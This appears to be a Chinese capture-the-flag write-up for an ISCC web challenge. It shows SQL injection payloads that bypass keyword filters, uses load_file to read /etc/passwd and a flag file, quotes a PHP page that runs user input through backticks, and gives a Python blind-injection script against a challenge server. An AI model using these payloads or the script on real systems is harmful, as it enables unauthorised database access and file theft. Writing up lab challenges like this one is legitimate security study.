#Your Password:5.7.33-0ubuntu0.16.04.1

发现当前数据库版本为5.7.33

接下来就是爆表名

from、information_schema都被过滤了,FROM大写绕过,关于绕过information_schema参考mysql注入绕过information_schema过滤

当前数据库版本为5.7,可用sys.schema_auto_increment_columns代替information_schema

Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFrom%0dsys.schema_auto_increment_columns),3%0d%23

#Your Login name:iscc_flag
#Your Password:3

猜测列名为flag,爆值

Paylaod: ?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dFROM%0discc_flag),3%0d%23

#Your Login name:cccmd.php
#Your Password:3

访问cccmd.php

<?php


if(isset($_GET['c'])){
  $c=$_GET['c'];

    if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
       exit("die!!");
    }else{
     echo `$c`;
    }
}else{
    highlight_file(__FILE__);
}
?>
<!--flllllllllaaag.php-->

显然flag在flllllllllaaag.php中,首先要知道当前路径,执行pwd,得到当前绝对路径:

/cccmd.php?c=pwd
#/var/www/const

load_file函数没有被过滤,尝试读取/etc/passwd

?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/etc/passwd')),3%23

成功读取
在这里插入图片描述
路径知道了,接下来直接读取flllllllllaaag.php

?id=0'%0duniunionon%0dselselectect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%23

#F12查看源码得到<?php$flag="iscc{eeeeeasy_web!!666666}"

贴一下大师傅的脚本

import requests

url = "http://39.96.91.106:5001/?id="

result = ""
i = 0

while (True):
    i = i + 1
    head = 32
    tail = 127

    while (head < tail):
        mid = (head + tail) >> 1

        payload = "0%27||if(ascii(substr((seselectlect%0dhex(load_file(0x2f7661722f7777772f636f6e73742f666c6c6c6c6c6c6c6c6c616161672e706870))),{},1))>{},1,0)%23".format(i,mid)
        r = requests.get(url + payload)
        r.encoding = "utf-8"
        # print(url+payload)
        if "Your Login name" in r.text:
            head = mid + 1
        else:
            # print(r.text)
            tail = mid

    last = result

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

得到

3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E

然后hex转字符串即可

m="3C3F7068700D0A24666C61673D22697363637B65656565656173795F77656221213636363636367D223B0D0A3F3E"
s=bytes.fromhex(m)
print(s)

#b'<?php\r\n$flag="iscc{eeeeeasy_web!!666666}";\r\n?>'
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值